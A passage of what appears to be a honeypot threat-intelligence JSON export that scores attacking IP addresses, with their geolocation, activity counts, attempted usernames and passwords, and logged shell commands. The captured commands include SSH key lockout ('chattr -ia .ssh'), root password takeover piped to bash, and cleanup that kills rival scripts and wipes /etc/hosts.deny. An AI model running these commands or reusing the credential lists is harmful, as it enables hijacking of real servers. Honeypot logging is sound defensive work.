        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.123.10.87": {
      "attack_count": 2,
      "first_seen": "2026-03-28T10:59:34.189Z",
      "last_seen": "2026-03-28T10:59:46.596Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 59162,
      "as_org": "U.P. COMMUNICATION SERVICES PVT LTD",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T10:59:34.189000+00:00",
        "last_seen_30d": "2026-03-28T11:01:27.115000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "60.48.194.148": {
      "attack_count": 2,
      "first_seen": "2026-03-09T02:42:37.428Z",
      "last_seen": "2026-03-09T02:42:50.190Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": "Cyberjaya",
      "asn": 4788,
      "as_org": "TM TECHNOLOGY SERVICES SDN. BHD.",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T02:42:37.428000+00:00",
        "last_seen_30d": "2026-03-09T02:43:59.408000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "80.223.171.219": {
      "attack_count": 2,
      "first_seen": "2026-03-26T23:23:23.469Z",
      "last_seen": "2026-03-26T23:23:54.893Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Finland",
      "country_code": "FI",
      "city": "Vaasa",
      "asn": 1759,
      "as_org": "Telia Finland Oyj",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T23:23:23.469000+00:00",
        "last_seen_30d": "2026-03-26T23:25:00.900000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "91.230.168.172": {
      "attack_count": 2,
      "first_seen": "2026-03-04T00:09:36.228Z",
      "last_seen": "2026-03-04T00:09:39.238Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 85.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 119,
        "days_active_30d": 30,
        "ports_targeted_30d": 45,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T06:16:29+00:00",
        "last_seen_30d": "2026-03-31T20:37:50.460000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 71,
        "Honeytrap": 45,
        "Cowrie": 2,
        "Dionaea": 1
      }
    },
    "165.227.239.184": {
      "attack_count": 3525,
      "first_seen": "2026-03-05T22:35:44.679Z",
      "last_seen": "2026-03-05T23:10:23.225Z",
      "sessions": 705,
      "ports": [],
      "usernames_attempted": [
        "root",
        "deploy",
        "ubuntu",
        "user",
        "ftpuser",
        "admin",
        "test",
        "deployer",
        "kafka",
        "minecraft",
        "odoo",
        "oracle",
        "student",
        "alex",
        "bot",
        "jenkins",
        "steam",
        "ali",
        "debian",
        "web"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "password",
        "P@ssw0rd",
        "12345678",
        "1234",
        "p@ssw0rd",
        "1",
        "12345",
        "root",
        "111",
        "1111",
        "1qaz@WSX",
        "admin",
        "admin123",
        "1234567",
        "0000",
        "11",
        "123123123",
        "123456789"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 4947,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T22:35:44.679000+00:00",
        "last_seen_30d": "2026-03-05T23:11:28.127000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3525,
        "Suricata": 1422
      }
    },
    "103.193.178.240": {
      "attack_count": 1232,
      "first_seen": "2026-03-10T10:29:43.742Z",
      "last_seen": "2026-03-23T20:50:43.375Z",
      "sessions": 105,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "angelica",
        "bart",
        "chris",
        "jessica",
        "live",
        "pp",
        "rich",
        "sai",
        "teamspeak",
        "tomcat",
        "ubuntu",
        "verdaccio",
        "zhuge",
        "User",
        "acer",
        "adminer",
        "ahmad",
        "alfredo"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "123456",
        "password",
        "123",
        "12345",
        "1234",
        "1",
        "1qaz@WSX3edc",
        "2wsx#EDC",
        "888888",
        "Abcd!234",
        "Admin-12345",
        "Admin123!",
        "Admin@#123",
        "Adminer123",
        "Amir123",
        "Apagar123",
        "Core123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345678\\nKgAp43vDj5yO\\nKgAp43vDj5yO\\n\"|passwd",
        "echo \"123456\\nVUnzOdSKEDPk\\nVUnzOdSKEDPk\\n\"|passwd",
        "echo \"123456\\nhgsrYPIhC7du\\nhgsrYPIhC7du\\n\"|passwd",
        "echo \"12345\\nE1nPqJKI0YqH\\nE1nPqJKI0YqH\\n\"|passwd",
        "echo \"1234\\njXYoyhQbYBjE\\njXYoyhQbYBjE\\n\"|passwd",
        "echo \"Jessica123\\nRdoIBb09PhFr\\nRdoIBb09PhFr\\n\"|passwd",
        "echo \"Live123\\nw4ccXmePyAbG\\nw4ccXmePyAbG\\n\"|passwd",
        "echo \"Verdaccio123!\\naMLrAL83l9rY\\naMLrAL83l9rY\\n\"|passwd",
        "echo \"password\\nvWjGl1T3eUAy\\nvWjGl1T3eUAy\\n\"|passwd",
        "echo \"root:LzaMpurKLpCF\"|chpasswd|bash",
        "echo \"saipass\\ns8CXMiS5Wrig\\ns8CXMiS5Wrig\\n\"|passwd"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 39.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 1498,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T10:29:43.742000+00:00",
        "last_seen_30d": "2026-03-23T20:51:49.034000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1232,
        "Suricata": 266
      }
    },
    "27.111.32.174": {
      "attack_count": 929,
      "first_seen": "2026-03-10T07:16:50.737Z",
      "last_seen": "2026-03-30T00:47:12.233Z",
      "sessions": 92,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "Admin",
        "devman",
        "infra",
        "km",
        "traccar",
        "aa",
        "adrian",
        "ahmad",
        "angga",
        "apagar",
        "big",
        "cam",
        "clawd",
        "daniel",
        "dell",
        "devuser",
        "fff",
        "ghostadmin"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "12345",
        "123456",
        "12345678",
        "!@#qwe123456",
        "0206",
        "123.123",
        "123258",
        "123456789101112",
        "123qwE",
        "1q2q3q4q5q6q7q",
        "1z2x3c!@#",
        "20260817",
        "2233445566",
        "345ert#$%ERT",
        "Abcde12345",
        "Admin123",
        "Admin123$%"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"123456\\ngiUbrDf5z3Gb\\ngiUbrDf5z3Gb\\n\"|passwd",
        "echo \"Admin123\\ni2jYM6vUQj58\\ni2jYM6vUQj58\\n\"|passwd",
        "echo \"Devman123!\\n2MmFh4UNMkb8\\n2MmFh4UNMkb8\\n\"|passwd",
        "echo \"Infra123\\nT5q4e8ezkftF\\nT5q4e8ezkftF\\n\"|passwd",
        "echo \"Traccar\\nipwEgvX8AlTb\\nipwEgvX8AlTb\\n\"|passwd",
        "echo \"root:ktHHkLngTfmn\"|chpasswd|bash",
        "echo \"root:lgsZfEh79z5R\"|chpasswd|bash",
        "echo \"root:pRk9y9Uo2BAs\"|chpasswd|bash",
        "echo -e \"123456\\ngiUbrDf5z3Gb\\ngiUbrDf5z3Gb\"|passwd|bash",
        "echo -e \"Admin123\\ni2jYM6vUQj58\\ni2jYM6vUQj58\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 24532,
      "as_org": "PT. Inet Global Indo",
      "threat_score": 57.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 1150,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T07:16:50.737000+00:00",
        "last_seen_30d": "2026-03-30T00:48:15.074000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 929,
        "Suricata": 221
      }
    },
    "213.177.179.80": {
      "attack_count": 918,
      "first_seen": "2026-03-27T21:51:24.819Z",
      "last_seen": "2026-03-30T12:28:28.173Z",
      "sessions": 184,
      "ports": [],
      "usernames_attempted": [
        "root",
        "bardengineering",
        "kelltech"
      ],
      "passwords_attempted": [
        "000000",
        "111111",
        "11111111",
        "121212",
        "123",
        "123123",
        "123321",
        "1234",
        "12345",
        "123456",
        "1234567",
        "12345678",
        "123456789",
        "1234567890",
        "123abc",
        "123qwe",
        "1q2w3e4r",
        "1qaz2wsx",
        "654321",
        "666666"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": null,
      "asn": 208137,
      "as_org": "Feo Prest SRL",
      "threat_score": 51.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 3.3,
        "diversity": 10,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 1308,
        "days_active_30d": 4,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T21:51:24.819000+00:00",
        "last_seen_30d": "2026-03-30T12:29:30.321000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 918,
        "Suricata": 390
      }
    },
    "103.100.69.141": {
      "attack_count": 902,
      "first_seen": "2026-03-02T11:04:08.372Z",
      "last_seen": "2026-03-15T13:38:57.896Z",
      "sessions": 63,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude",
        "intel",
        "ionadmin",
        "mailtest",
        "remoteuser",
        "test_user",
        "webadmin",
        "admin",
        "alexis",
        "alpha",
        "beehive",
        "client",
        "data",
        "develop",
        "dhkim",
        "excel",
        "flussonic",
        "kafka"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "12345",
        "123456",
        "123",
        "1234",
        "112358",
        "2580",
        "2wsxXSW@",
        "@aA123456",
        "A123456!",
        "ASD123asd",
        "Alpha123!",
        "Dhkim123!",
        "Flussonic123",
        "Kuanfan@021",
        "Qwerty1234",
        "a!@sd",
        "aa162113"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"1234\\n1eATGGcdFkkk\\n1eATGGcdFkkk\\n\"|passwd",
        "echo \"123\\nG8iJFxQtOSyp\\nG8iJFxQtOSyp\\n\"|passwd",
        "echo \"password\\n3WTDc5dDTnj7\\n3WTDc5dDTnj7\\n\"|passwd",
        "echo \"password\\nD9Qwi18uoj2I\\nD9Qwi18uoj2I\\n\"|passwd",
        "echo \"password\\nL2t9YZgFaqSC\\nL2t9YZgFaqSC\\n\"|passwd",
        "echo \"qwerty\\n4sArOnOQK8Bc\\n4sArOnOQK8Bc\\n\"|passwd",
        "echo \"remoteuser123!\\nJFXaTmXyP9Mt\\nJFXaTmXyP9Mt\\n\"|passwd",
        "echo \"root:9EtD5NdIRdWc\"|chpasswd|bash",
        "echo \"root:TS7Kfm8eDH2O\"|chpasswd|bash",
        "echo \"root:eJwbDcJnYbIU\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137951,
      "as_org": "ASLINE LIMITED",
      "threat_score": 25.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 1044,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T11:04:08.372000+00:00",
        "last_seen_30d": "2026-03-15T13:40:01.280000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 902,
        "Suricata": 142
      }
    },
    "161.49.89.39": {
      "attack_count": 786,
      "first_seen": "2026-03-03T14:49:07.830Z",
      "last_seen": "2026-03-18T04:28:31.376Z",
      "sessions": 63,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "clawd",
        "mailuser",
        "server",
        "sit",
        "student2",
        "valheim",
        "vicente",
        "administrator",
        "adminuser",
        "albert",
        "alice",
        "allen",
        "bill",
        "bitrix",
        "dmdba",
        "ftp_id",
        "gestion",
        "install"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "123",
        "12345",
        "12345678",
        "!@#qweASD123",
        "010203",
        "123456",
        "1A2b3c4d",
        "1qaz2WSX",
        "Aa111111!",
        "Aabb1122",
        "Adm1n",
        "Allen123!",
        "Bingo@1993",
        "Ftp_id123!",
        "Lx123456",
        "Palworld123",
        "Testing123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345678\\n23i07Jw2IVTA\\n23i07Jw2IVTA\\n\"|passwd",
        "echo \"12345\\nOOgs3b5J79qt\\nOOgs3b5J79qt\\n\"|passwd",
        "echo \"123\\nAIjwLeKaBcCJ\\nAIjwLeKaBcCJ\\n\"|passwd",
        "echo \"123\\nj1TjOC04GYLg\\nj1TjOC04GYLg\\n\"|passwd",
        "echo \"Valheim123!\\nxSn8mjVn3SNY\\nxSn8mjVn3SNY\\n\"|passwd",
        "echo \"root:812fLGVF81jd\"|chpasswd|bash",
        "echo \"student2\\nrlEinv22mdPU\\nrlEinv22mdPU\\n\"|passwd",
        "echo \"vicente\\nDTWf3xQapNg7\\nDTWf3xQapNg7\\n\"|passwd",
        "echo -e \"12345678\\n23i07Jw2IVTA\\n23i07Jw2IVTA\"|passwd|bash",
        "echo -e \"12345\\nOOgs3b5J79qt\\nOOgs3b5J79qt\"|passwd|bash",
        "echo -e \"123\\nAIjwLeKaBcCJ\\nAIjwLeKaBcCJ\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Pasig",
      "asn": 17639,
      "as_org": "Converge ICT Solutions Inc.",
      "threat_score": 31.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 29.7,
        "persistence": 13.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 933,
        "days_active_30d": 16,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T14:49:07.830000+00:00",
        "last_seen_30d": "2026-03-18T04:29:40.175000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 786,
        "Suricata": 147
      }
    },
    "45.165.14.197": {
      "attack_count": 664,
      "first_seen": "2026-03-04T09:26:39.346Z",
      "last_seen": "2026-03-14T16:26:01.171Z",
      "sessions": 49,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "elemental",
        "jason",
        "patrick",
        "sa",
        "soporte",
        "admin",
        "bot",
        "ftpsecure",
        "grid",
        "hari",
        "hzy",
        "labs",
        "lh",
        "marek",
        "mirror",
        "mm",
        "sami",
        "sandbox"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345",
        "000",
        "123456",
        "12345678",
        "12qwaszx",
        "1q@W3e$R5t",
        "66668888",
        "@qwer2025",
        "@qwer2026",
        "Aa123456...",
        "Abcd*1234",
        "An123456",
        "Bingo@1993",
        "Cb123456@",
        "Password1",
        "QWERTY12345",
        "Sandbox123!"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"12345678\\nLRoyyY68XrCm\\nLRoyyY68XrCm\\n\"|passwd",
        "echo \"12345\\nXv9aiFDYImDS\\nXv9aiFDYImDS\\n\"|passwd",
        "echo \"Password1\\ngiSOdxGdxVb5\\ngiSOdxGdxVb5\\n\"|passwd",
        "echo \"Soporte123!\\n0W84JSy3Le36\\n0W84JSy3Le36\\n\"|passwd",
        "echo \"elemental1234\\nLBrneepVZyT5\\nLBrneepVZyT5\\n\"|passwd",
        "echo \"root:IckeAJCB8vAo\"|chpasswd|bash",
        "echo \"root:ZESOI2zCyodi\"|chpasswd|bash",
        "echo -e \"12345678\\nLRoyyY68XrCm\\nLRoyyY68XrCm\"|passwd|bash",
        "echo -e \"12345\\nXv9aiFDYImDS\\nXv9aiFDYImDS\"|passwd|bash",
        "echo -e \"Password1\\ngiSOdxGdxVb5\\ngiSOdxGdxVb5\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Chapadinha",
      "asn": 268663,
      "as_org": "R G DE SOUSA LTDA",
      "threat_score": 21.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.9,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 778,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T09:26:39.346000+00:00",
        "last_seen_30d": "2026-03-14T16:27:05.298000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 664,
        "Suricata": 114
      }
    },
    "38.253.239.21": {
      "attack_count": 563,
      "first_seen": "2026-03-14T01:36:46.033Z",
      "last_seen": "2026-03-21T04:16:17.663Z",
      "sessions": 42,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "kocom",
        "marco",
        "netweb",
        "sshuser",
        "usuarioftp",
        "admin",
        "asus",
        "azureuser",
        "bkp",
        "chris",
        "elizabeth",
        "gbase",
        "jason1",
        "kanban",
        "kyle",
        "lcx",
        "logviewer",
        "oneadmin"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "1234",
        "123456",
        "password",
        "123",
        "12345",
        "123123qq",
        "Abc@123",
        "Bkp123",
        "Kocom123!",
        "Logviewer123",
        "aA-123",
        "chris123!",
        "elizabeth1234",
        "gbase",
        "marco",
        "rsync1234",
        "sshuser1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345678\\nLBl742Mb396w\\nLBl742Mb396w\\n\"|passwd",
        "echo \"123\\nBKK3YQ2I8suE\\nBKK3YQ2I8suE\\n\"|passwd",
        "echo \"Kocom123!\\nR7tFACnvZDC1\\nR7tFACnvZDC1\\n\"|passwd",
        "echo \"marco\\n3lMd9NKU5PUn\\n3lMd9NKU5PUn\\n\"|passwd",
        "echo \"root:lHdbmS1HH6X8\"|chpasswd|bash",
        "echo \"sshuser1234\\nGxgev8Oqbpur\\nGxgev8Oqbpur\\n\"|passwd",
        "echo -e \"12345678\\nLBl742Mb396w\\nLBl742Mb396w\"|passwd|bash",
        "echo -e \"123\\nBKK3YQ2I8suE\\nBKK3YQ2I8suE\"|passwd|bash",
        "echo -e \"Kocom123!\\nR7tFACnvZDC1\\nR7tFACnvZDC1\"|passwd|bash",
        "echo -e \"marco\\n3lMd9NKU5PUn\\n3lMd9NKU5PUn\"|passwd|bash",
        "echo -e \"sshuser1234\\nGxgev8Oqbpur\\nGxgev8Oqbpur\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Jakarta",
      "asn": 141146,
      "as_org": "PT Indonesia Telekomunikasi Teknologi",
      "threat_score": 31.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.2,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 659,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T01:36:46.033000+00:00",
        "last_seen_30d": "2026-03-21T04:17:22.384000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 563,
        "Suricata": 96
      }
    },
    "208.69.84.112": {
      "attack_count": 543,
      "first_seen": "2026-03-19T07:40:54.360Z",
      "last_seen": "2026-03-28T19:44:59.643Z",
      "sessions": 50,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ljd",
        "posiflex",
        "shawn",
        "aaa",
        "amine",
        "bryan",
        "cb",
        "evan",
        "jupyter",
        "localhost",
        "marissa",
        "mirror",
        "ops",
        "pyramid",
        "pzuser",
        "ravi",
        "vip1",
        "zhenshan"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345678",
        "password",
        "!Welcome",
        "122222",
        "1234321",
        "123456789az",
